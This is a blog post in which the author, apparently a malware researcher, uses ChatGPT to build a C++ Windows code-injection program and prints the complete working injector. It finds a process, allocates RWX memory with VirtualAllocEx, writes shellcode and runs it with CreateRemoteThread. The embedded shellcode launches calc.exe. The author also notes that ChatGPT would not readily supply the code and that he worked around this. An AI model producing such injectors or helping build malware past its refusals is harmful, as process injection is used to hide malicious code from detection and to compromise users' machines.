Malware development with ChatGPT

Mohideen Abdul Khader
6 min readOct 14, 2023

--

Disclaimer: There’s no need for concern; this exercise is purely aimed at harnessing ChatGPT for educational purposes.

Today, In this blog I will cover one among the good purposes of the infamous ChatGPT.

On this weekend morning, my aim was to delve into the fundamentals of malware development. I’ve been studying blogs about malware development. While theoretical knowledge is useful, I have a stronger inclination towards hands-on experience, so I’ve chosen to jump directly into practical application.

Before we begin, just a bit of context about myself — I work as a malware researcher, so I’m experienced in handling various types of malware within a secure environment.

For this reason, I strongly discourage anyone from attempting this unless they have a controlled lab setup capable of handling malware files.

To kick things off, I opted to experiment creating a malware that employs the widely-known code injection technique.

For a fact, majority of the malwares are written using C++ and I have hands-on experience working closely with C++ based malwares. Therefore I will also be writing this malware using C++ language.

In the context of this blog, I will be using ChatGPT to help create this malware. Feel free to follow along, but I’d be surprised If the readers will get the same response.

What’s Code Injection?

Code injection is a technique used by a malware to inject malicious code into a legitimate target process. Objective of the technique is to perform the malicious intent under the context of the target process, often with the intent to evade detection.

Let me explain in simple words,

  1. Firstly, malware has to find the target process from all the running processes.

2. Allocate space in the target process with execute permission(RWX).

3. Write the shellcode in the allocated space.

4. Run the injected code.

Lets get to writing the code…

Motive: Inject shellcode into explore.exe and execute the shellcode under its context.

Opening up ChatGPT,

Lets begin asking our questions following the sequence of steps mentioned above.

ChatGPT question #1 — Finding target process

Firstly, we have to find the target process i.e. explorer.exe from the running processes.

Testing — PASS

I have compiled this code in Visual Studio without any errors. Running the compiled application, Process ID(PID) of the explorer.exe is found.

Now that we found the target process id — 4180, we have to allocate space within explorer.exe to inject the code.

ChatGPT question #2 — Allocating space

Testing — PASS

Testing the code by adding to the previous code and executing it, we successfully allocated a memory region in the target process at the address (0x6d0000) with Read-Write-Execute permissions(RWX).

Note:

Allocated size(4 kB/4096 bytes) is pretty large for shellcode injection purpose. Later in the blog I will be reducing the space to roughly 176 bytes which is sufficient for the injection.

ChatGPT question #3 — Writing code into allocated space

Note: I’m using a simple piece of shellcode that opens up calc.exe. I will be injecting this code into the allocated space.

Testing — PASS

By appending the code to the existing one and running it, we managed to successfully write our shellcode to the allocated region.

ChatGPT question#4 — Executing the shellcode

Testing — FAIL

After integrating the code with the previous one and attempting to run it, the outcome is unsuccessful.

I tried asking ChatGPT, what can be the potential reasons for the CreateRemoteThread failure?

It listed out several reasons and I validated each possibility. After several rounds of testing, I was able to deduce the issue is related to type mismatch.

Type Mismatch error:

The C++ program I compiled was in 32-bit, and the shellcode was also written for a 32-bit architecture. However, the target process, explorer.exe, is actually a 64-bit application. This architectural mismatch prevented me from executing the shellcode successfully.

As a solution, I decided to choose a different target process, one that is a 32-bit application. iexplore.exe, or Internet Explorer, is available in both 32-bit and 64-bit versions. I opted to test code injection into the 32-bit version of iexplore.exe, which is located at “C:\Program Files (x86)\Internet Explorer\iexplore.exe.”

First, I launched iexplore.exe, and then I ran our code injection program. This approach proved successful, as the injected shellcode executed from within iexplore.exe opened calc.exe as intended.

Please take note that ChatGPT does not readily supply the code due to the potential malicious implications. I had to modify the code to align with my specific requirements and address any issues as they arose.

Complete code injection program built with the help of ChatGPT:

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>

int main() {
// Create a PROCESSENTRY32 structure to store process information.
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

DWORD targetProcessId;
// shellcode to launch calc.exe
//References: https://blackcloud.me/Win32-shellcode-2/
unsigned char shellcode[] = "\x31\xc9\xf7\xe1\x64\x8b\x41"
"\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b"
"\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
"\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01"
"\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78"
"\x0a\x72\x65\x73\x73\x75\xeb\x8b\x72\x24\x01"
"\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde"
"\x8b\x14\x8e\x01\xda\x89\xd5\x31\xc9\x68\x73"
"\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68"
"\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43"
"\x72\x65\x61\x54\x53\xff\xd2\x31\xc9\xb1\xff"
"\x31\xff\x57\xe2\xfd\x68\x63\x61\x6c\x63\x89"
"\xe1\x51\x51\x31\xd2\x52\x52\x52\x52\x52\x52"
"\x51\x52\xff\xd0\x83\xc4\x10\x68\x65\x73\x73"
"\x61\x66\x83\x6c\x24\x03\x61\x68\x50\x72\x6f"
"\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd5\x31"
"\xc9\x51\xff\xd0";

SIZE_T allocationSize = sizeof(shellcode); // Size of memory to allocate

// Take a snapshot of all running processes.
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == INVALID_HANDLE_VALUE) {
std::cerr << "Error creating process snapshot." << std::endl;
return 1;
}

// Iterate through the processes in the snapshot to find the target process ID
if (Process32First(hSnapshot, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, L"iexplore.exe") == 0) {
targetProcessId = pe32.th32ProcessID;
std::cout << "Found iexplore.exe with PID: " << pe32.th32ProcessID << std::endl;
}
} while (Process32Next(hSnapshot, &pe32));
}
else {
std::cerr << "Error getting process information." << std::endl;
}

// Open the target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcessId);
if (hProcess == NULL) {
std::cerr << "Error opening the target process." << std::endl;
return 1;
}

// Allocate virtual memory in the remote process
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, allocationSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
std::cout << "Remote memory allocated " << remoteMemory << std::endl;
if (remoteMemory == NULL) {
std::cerr << "Error allocating memory in the remote process." << std::endl;
CloseHandle(hProcess);
return 1;
}

// Write the shellcode to the allocated memory in the remote process
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), &bytesWritten)) {
std::cerr << "Error writing shellcode to remote process memory." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

std::cout << "Shellcode successfully written to remote process memory." << std::endl;

// Create a remote thread in target process to load the DLL
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory , NULL , 0, NULL);
if (hThread == NULL) {
std::cerr << "Error creating a remote thread in iexplore.exe." << std::endl;
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}

// Wait for the thread to finish
WaitForSingleObject(hThread, INFINITE);

// Clean up
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
CloseHandle(hThread);
std::cout << "DLL loaded into iexplore.exe." << std::endl;
// Close the handle to the remote process
CloseHandle(hProcess);

// Close the snapshot handle.
CloseHandle(hSnapshot);

return 0;
}

Overall, I found the experience enjoyable and certainly gained some insights on malware development, thanks to the assistance provided by ChatGPT.

--

--